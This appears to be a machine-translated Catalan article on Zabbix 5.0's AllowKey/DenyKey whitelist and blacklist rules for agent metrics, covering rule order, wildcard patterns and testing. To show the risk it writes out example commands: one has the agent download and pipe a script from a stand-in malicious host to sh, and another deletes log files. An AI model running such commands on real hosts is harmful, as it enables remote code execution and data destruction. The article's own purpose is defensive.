Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent

Tikhon Uskov, Enginyer d'integració, Zabbix

Problemes de seguretat de dades

Zabbix 5.0 té una nova característica que us permet millorar la seguretat dels sistemes que utilitzen l'agent Zabbix i substitueix el paràmetre antic. EnableRemoteCommands.

Les millores en la seguretat dels sistemes basats en agents deriven del fet que un agent pot realitzar un gran nombre d'accions potencialment perilloses.

  • L'agent pot recopilar gairebé qualsevol informació, inclosa informació confidencial o potencialment perillosa, dels fitxers de configuració, fitxers de registre, fitxers de contrasenyes o qualsevol altre fitxer.

Per exemple, utilitzant la utilitat zabbix_get podeu accedir a una llista d'usuaris, els seus directoris d'inici, fitxers de contrasenyes, etc.

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

Accés a les dades mitjançant la utilitat zabbix_get

NOTA. Les dades només es poden recuperar si l'agent té permisos de lectura al fitxer corresponent. Però, per exemple, el fitxer /etc/passwd/ llegible per tots els usuaris.

  • L'agent també pot executar ordres potencialment perilloses. Per exemple, clau *system.run[]** us permet executar qualsevol ordre remota als nodes de xarxa, inclòs l'execució de scripts des de la interfície web de Zabbix que també executen ordres al costat de l'agent.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • A Linux, l'agent s'executa de manera predeterminada sense privilegis d'arrel, mentre que a Windows s'executa com a servei com a sistema i té accés sense restriccions al sistema de fitxers. En conseqüència, si no es fan canvis als paràmetres de l'agent Zabbix després de la instal·lació, l'agent té accés al registre, al sistema de fitxers i pot executar consultes WMI.

En versions anteriors el paràmetre EnableRemoteCommands=0 només es permet desactivar mètriques amb la clau *system.run[]** i executant scripts des de la interfície web, però no hi havia manera de restringir l'accés a fitxers individuals, permetre o desactivar claus individuals instal·lades amb l'agent o limitar l'ús de paràmetres individuals.

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

Utilitzant el paràmetre EnableRemoteCommand en versions anteriors de Zabbix

AllowKey/DenyKey

Zabbix 5.0 ajuda a protegir contra aquest accés no autoritzat proporcionant llistes blanques i llistes negres per permetre i denegar mètriques del costat de l'agent.

A Zabbix 5.0 totes les claus, inclòs *system.run[]** estan habilitats i s'han afegit dues noves opcions de configuració d'agent:

AllowKey= — xecs permesos;

DenyKey= — xecs prohibits;

on és un patró de nom de clau amb paràmetres que utilitza metacaràcters (*).

Les claus AllowKey i DenyKey us permeten permetre o denegar mètriques individuals en funció d'un patró específic. A diferència d'altres paràmetres de configuració, el nombre de paràmetres AllowKey/DenyKey no està limitat. Això us permet definir clarament què pot fer exactament l'agent al sistema mitjançant la creació d'un arbre de comprovacions: claus executables, on l'ordre en què s'escriuen juga un paper molt important.

Seqüència de regles

Les regles es comproven en l'ordre en què s'introdueixen al fitxer de configuració. La clau es comprova segons les regles abans de la primera coincidència, i tan bon punt la clau de l'element de dades coincideix amb el patró, es permet o es denega. Després d'això, la comprovació de regles s'atura i les claus restants s'ignoren.

Per tant, si un element coincideix amb una regla d'autorització i una de denegació, el resultat dependrà de quina regla sigui la primera al fitxer de configuració.

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

2 regles diferents amb el mateix patró i una clau vfs.file.size[/tmp/file]

L'ordre d'ús de les claus AllowKey/DenyKey:

  1. regles exactes,
  2. regles generals,
  3. norma prohibitiva.

Per exemple, si necessiteu accedir als fitxers d'una carpeta determinada, primer heu de permetre l'accés a ells i, a continuació, negar tota la resta que no estigui dins dels permisos establerts. Si s'utilitza primer la regla de denegació, es denegarà l'accés a la carpeta.

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

Seqüència correcta

Si necessiteu permetre que s'executin 2 utilitats mitjançant *system.run[]**, i la regla de denegació s'especificarà primer, les utilitats no es llançaran, perquè el primer patró sempre coincidirà amb qualsevol clau i les regles posteriors s'ignoraran.

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

Seqüència incorrecta

Patrons

Normes fonamentals

El patró és una expressió amb comodins. El metacaràcter (*) coincideix amb qualsevol nombre de caràcters en una posició específica. Els metacaràcters es poden utilitzar tant en el nom de la clau com en els paràmetres. Per exemple, podeu definir estrictament el primer paràmetre amb text, i especifiqueu el següent com a comodí.

Els paràmetres s'han d'entregar entre claudàtors [].

  • system.run[* - incorrecte
  • vfs.file*.txt] - incorrecte
  • vfs.file.*[*] - dret

Exemples d'ús del comodí.

  1. En el nom de la clau i en el paràmetre. En aquest cas, la clau no correspon a una clau semblant que no conté un paràmetre, ja que en el patró indicàvem que volem rebre una determinada terminació del nom de la clau i un determinat conjunt de paràmetres.
  2. Si el patró no utilitza claudàtors, el patró permet totes les claus que no contenen paràmetres i denega totes les claus que contenen el paràmetre especificat.
  3. Si la clau s'escriu completa i els paràmetres s'especifiquen com a comodí, coincidirà amb qualsevol clau similar amb qualsevol paràmetre i no coincidirà amb la clau sense claudàtors, és a dir, es permetrà o es denegarà.

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

Normes per omplir els paràmetres.

  • Si es vol utilitzar una clau amb paràmetres, els paràmetres s'han d'especificar al fitxer de configuració. Els paràmetres s'han d'especificar com a metacaràcter. Cal denegar acuradament l'accés a qualsevol fitxer i tenir en compte quina informació pot proporcionar la mètrica amb diferents grafies, amb i sense paràmetres.

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

Característiques d'escriptura de tecles amb paràmetres

  • Si s'especifica una clau amb paràmetres, però els paràmetres són opcionals i s'especifiquen com a metacaràcter, es resoldrà una clau sense paràmetres. Per exemple, si voleu desactivar la recepció d'informació sobre la càrrega de la CPU i especificar que la clau system.cpu.load[*] s'ha de desactivar, no oblideu que la clau sense paràmetres retornarà el valor mitjà de càrrega.

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

Normes per omplir els paràmetres

Notes

ajust

  • L'usuari no pot canviar algunes regles, per exemple, les regles de descobriment o les regles de registre automàtic de l'agent. Les regles AllowKey/DenyKey no afecten els paràmetres següents:
    - HostnameItem
    - HostMetadataItem
    - HostInterfaceItem

NOTA. Si un administrador desactiva una clau, quan se li consulta, Zabbix no proporciona informació sobre per què la mètrica o la clau entra a la categoria "NO COMPATIBLE'. La informació sobre les prohibicions d'execució d'ordres remotes tampoc es mostra als fitxers de registre de l'agent. Això és per motius de seguretat, però pot complicar la depuració si les mètriques entren en una categoria no compatible per algun motiu.

  • No hauríeu de confiar en cap ordre específic per connectar fitxers de configuració externs (per exemple, per ordre alfabètic).

Utilitats de línia d'ordres

Després de configurar les regles, heu d'assegurar-vos que tot estigui configurat correctament.

Podeu utilitzar una de les tres opcions:

  • Afegiu una mètrica a Zabbix.
  • Prova amb zabbix_agentd. Agent Zabbix amb opció -imprimir (-p) mostra totes les claus (que estan permeses per defecte) excepte les que no estan permeses per la configuració. I amb l'opció -prova (-t) per una clau prohibida tornarà'Clau d'element no admesa'.
  • Prova amb zabbix_get. Utilitat zabbix_get amb opció -k tornarà 'ZBX_NOTSUPPORTED: mètrica desconeguda'.

Permetre o negar

Podeu denegar l'accés a un fitxer i verificar, per exemple, mitjançant la utilitat zabbix_getque es denega l'accés al fitxer.

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

**

NOTA. Les cometes del paràmetre s'ignoren.

En aquest cas, es pot permetre l'accés a aquest fitxer mitjançant un camí diferent. Per exemple, si un enllaç simbòlic hi condueix.

Compatibilitat amb llistes negres i blanques per a mètriques de l'agent a Zabbix 5.0

Es recomana comprovar diverses opcions per aplicar les regles especificades i també tenir en compte les possibilitats d'eludir les prohibicions.

Preguntes i Respostes

Pregunta. Per què es va triar un patró tan complex amb el seu propi llenguatge per descriure regles, permisos i prohibicions? Per què no va ser possible utilitzar, per exemple, les expressions regulars que fa servir Zabbix?

Respondre. Aquest és un problema de rendiment de regex, ja que normalment només hi ha un agent i verifica un gran nombre de mètriques. Regex és una operació força pesada i no podem comprovar milers de mètriques d'aquesta manera. Comodins: una solució universal, àmpliament utilitzada i senzilla.

Pregunta. Els fitxers Inclou no s'inclouen per ordre alfabètic?

Respondre. Pel que jo sé, és pràcticament impossible predir l'ordre en què s'aplicaran les regles si les repartiu entre diferents fitxers. Recomano recopilar totes les regles AllowKey/DenyKey en un fitxer Include, perquè interactuen entre ells i incloure aquest fitxer.

Pregunta. A Zabbix 5.0 l'opció 'EnableRemoteCommands=' falta al fitxer de configuració i només estan disponibles AllowKey/DenyKey?

Respon. sí, és correcte.

Gràcies!

Font: www.habr.com